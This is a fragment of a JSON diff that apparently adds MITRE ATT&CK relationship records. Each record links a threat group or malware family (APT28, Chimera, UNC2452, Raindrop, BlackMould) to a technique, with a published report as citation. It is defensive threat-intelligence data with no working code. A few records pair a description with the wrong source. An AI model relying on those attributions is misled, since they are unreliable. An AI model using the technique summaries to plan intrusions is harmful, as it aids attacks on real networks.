"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "external_references": [ + { + "source_name": "TrendMicro Pawn Storm 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf", + "description": "Hacquebord, F. (n.d.). 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Retrieved December 29, 2020." + } + ], + "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed large-scale scans in an attempt to find vulnerable servers.(Citation: TrendMicro Pawn Storm 2019)", + "relationship_type": "uses", + "id": "relationship--54b73912-002f-43ca-b8a2-7439aff45aab", + "type": "relationship", + "modified": "2021-01-13T21:54:29.677Z", + "created": "2021-01-13T21:54:29.677Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "external_references": [ + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. 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Retrieved January 13, 2021." + } + ], + "description": "[BlackMould](https://attack.mitre.org/software/S0564) can send commands to C2 in the body of HTTP POST requests.(Citation: Microsoft GALLIUM December 2019)", + "relationship_type": "uses", + "id": "relationship--2d72a376-5bfb-4e6b-a79f-2f75f97de99e", + "type": "relationship", + "modified": "2021-01-14T20:08:49.533Z", + "created": "2021-01-14T20:08:49.533Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." + } + ], + "description": "[BlackMould](https://attack.mitre.org/software/S0564) has the ability to download files to the victim's machine.(Citation: Microsoft GALLIUM December 2019)", + "relationship_type": "uses", + "id": "relationship--ba8145fd-61d3-4729-a7c8-96216d2e6078", + "type": "relationship", + "modified": "2021-01-14T20:08:49.564Z", + "created": "2021-01-14T20:08:49.564Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. 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Retrieved January 13, 2021." + } + ], + "description": "[BlackMould](https://attack.mitre.org/software/S0564) can copy files on a compromised host.(Citation: Microsoft GALLIUM December 2019)", + "relationship_type": "uses", + "id": "relationship--5d52eebf-0bd6-4088-8627-5dfb88f9b551", + "type": "relationship", + "modified": "2021-01-14T20:08:49.565Z", + "created": "2021-01-14T20:08:49.565Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. 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Retrieved January 13, 2021." + } + ], + "description": "[APT28](https://attack.mitre.org/groups/G0007) can exfiltrate data over Google Drive.(Citation: TrendMicro Pawn Storm Dec 2020) ", + "relationship_type": "uses", + "id": "relationship--2cbaf5dd-8b53-427f-ae00-9cda47125d5b", + "type": "relationship", + "modified": "2021-01-14T20:28:31.227Z", + "created": "2021-01-14T20:28:31.227Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). 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Retrieved January 19, 2021." + } + ], + "description": "[Raindrop](https://attack.mitre.org/software/S0565) used steganography to locate the start of its encoded payload within legitimate 7-Zip code.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--c6572007-a3f6-40d1-bfd2-37abf6a63b58", + "type": "relationship", + "modified": "2021-01-20T15:00:22.799Z", + "created": "2021-01-19T21:06:07.772Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. 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Retrieved January 19, 2021." + } + ], + "description": "After initial installation, [Raindrop](https://attack.mitre.org/software/S0565) runs a computation to delay execution.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--00701b4a-9eab-41cc-9c09-f904a9799201", + "type": "relationship", + "modified": "2021-01-20T13:56:30.150Z", + "created": "2021-01-19T21:06:07.784Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[Raindrop](https://attack.mitre.org/software/S0565) was installed under names that resembled legitimate Windows file and directory names.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--4a942244-9b88-43d0-9a1c-c0277e7903e8", + "type": "relationship", + "modified": "2021-01-25T18:23:23.380Z", + "created": "2021-01-19T21:06:07.795Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[Raindrop](https://attack.mitre.org/software/S0565) encrypted its payload using a simple XOR algorithm with a single-byte key.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--03cd94c9-73aa-4eed-b724-629d180e3002", + "type": "relationship", + "modified": "2021-01-25T18:23:23.403Z", + "created": "2021-01-19T22:37:42.744Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[Raindrop](https://attack.mitre.org/software/S0565) used a custom packer for its [Cobalt Strike](https://attack.mitre.org/software/S0154) payload, which was compressed using the LZMA algorithm.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--1c8951ff-5de9-4842-b889-0c439aa76e8f", + "type": "relationship", + "modified": "2021-01-25T18:23:23.405Z", + "created": "2021-01-19T22:37:42.735Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[Raindrop](https://attack.mitre.org/software/S0565) decrypted its [Cobalt Strike](https://attack.mitre.org/software/S0154) payload using an AES-256 encryption algorithm in CBC mode with a unique key per sample.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--ff10b414-cc17-4335-9030-1262e5401b39", + "type": "relationship", + "modified": "2021-01-22T16:30:42.467Z", + "created": "2021-01-19T22:37:42.776Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used credential stuffing against victim's remote services to obtain valid accounts.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--bfc3568d-1304-43ce-be97-5fc4209d8a79", + "type": "relationship", + "modified": "2021-01-20T18:08:15.439Z", + "created": "2021-01-20T18:08:15.439Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has collected credentials for the target organization from previous breaches for use in brute force attacks.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--ddc692ea-33e8-493d-a5e3-ce0de48da15c", + "type": "relationship", + "modified": "2021-01-20T18:23:31.736Z", + "created": "2021-01-20T18:13:37.509Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--a8519c68-ab22-4254-bd22-c76b71de1b9e", + "type": "relationship", + "modified": "2021-01-20T18:23:31.728Z", + "created": "2021-01-20T18:13:37.568Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used compromised domain accounts to gain access to the target environment.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--90c8ecca-41d2-4a28-84fe-b76c1d969363", + "type": "relationship", + "modified": "2021-01-20T18:23:31.638Z", + "created": "2021-01-20T18:23:31.638Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used net share and net view to identify network shares of interest.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--71cac5bb-2d68-44b8-ae8a-4d159c06ec61", + "type": "relationship", + "modified": "2021-01-22T21:02:38.497Z", + "created": "2021-01-20T18:30:30.617Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has utilized various scans and queries to find domain controllers and remote services in the target environment.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--d45cd2ee-f0f6-417a-98c2-9a7e9f6dc480", + "type": "relationship", + "modified": "2021-01-20T18:30:30.662Z", + "created": "2021-01-20T18:30:30.662Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has utilized multiple commands to identify data of interest in file and directory listings.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--577a7635-c4e3-42ab-8f16-d59330fdd535", + "type": "relationship", + "modified": "2021-01-22T21:00:36.064Z", + "created": "2021-01-20T18:39:29.145Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has nltest /domain_trusts to identify domain trust relationships.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--47d7a2ff-104a-49f9-a28f-6b1a79eca559", + "type": "relationship", + "modified": "2021-01-22T21:00:36.057Z", + "created": "2021-01-20T18:39:29.140Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) C2 beacons for data exfiltration.(Citation: NCC Group Chimera January 2021) ", + "relationship_type": "uses", + "id": "relationship--2ad83456-5794-44d5-bfd1-3c51b2925c01", + "type": "relationship", + "modified": "2021-03-04T22:05:10.422Z", + "created": "2021-01-20T18:48:26.482Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has staged stolen data on designated servers in the target environment.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--15ec2486-936e-4bb0-8265-84ba20491c05", + "type": "relationship", + "modified": "2021-01-20T20:32:20.105Z", + "created": "2021-01-20T20:32:20.105Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[Raindrop](https://attack.mitre.org/software/S0565) was built to include a modified version of 7-Zip source code (including associated export names) and Far Manager source code.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--288d8f70-d2af-44f8-86c9-fb8c2cd5103f", + "type": "relationship", + "modified": "2021-01-25T18:23:23.406Z", + "created": "2021-01-21T22:47:19.166Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . 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Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) configured at least one instance of [Cobalt Strike](https://attack.mitre.org/software/S0154) to use a network pipe over SMB during the 2020 SolarWinds intrusion.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--f98a3b2b-d1ea-4207-8352-6470b36740ff", + "type": "relationship", + "modified": "2021-01-22T20:00:39.232Z", + "created": "2021-01-22T18:24:05.171Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used 7-Zip to decode its [Raindrop](https://attack.mitre.org/software/S0565) malware.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--096793be-2f6e-48f2-b8d7-336d0a540486", + "type": "relationship", + "modified": "2021-01-22T20:04:50.856Z", + "created": "2021-01-22T18:24:05.179Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "external_references": [ + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has used WinRM via PowerShell to execute command and payloads on remote hosts.(Citation: Symantec RAINDROP January 2021)", + "relationship_type": "uses", + "id": "relationship--ce5852ed-8945-472c-9268-08bf53e210b7", + "type": "relationship", + "modified": "2021-01-22T18:24:05.194Z", + "created": "2021-01-22T18:24:05.194Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) to encapsulate C2 in DNS traffic.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--46d350be-fcde-4c7a-ac75-d86c8f5ccd5f", + "type": "relationship", + "modified": "2021-01-22T18:25:52.924Z", + "created": "2021-01-22T18:25:52.924Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used [PsExec](https://attack.mitre.org/software/S0029) to deploy beacons on compromised systems.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--23f36f2f-9bc4-4c95-a75b-65e5c74aed88", + "type": "relationship", + "modified": "2021-04-26T13:36:29.347Z", + "created": "2021-01-22T18:38:21.012Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used the Windows Command Shell and batch scripts for execution on compromised hosts.(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--9bbc997d-9ca8-45b9-930a-5bf7e7ec00f8", + "type": "relationship", + "modified": "2021-03-04T22:09:42.997Z", + "created": "2021-01-22T18:38:21.049Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + 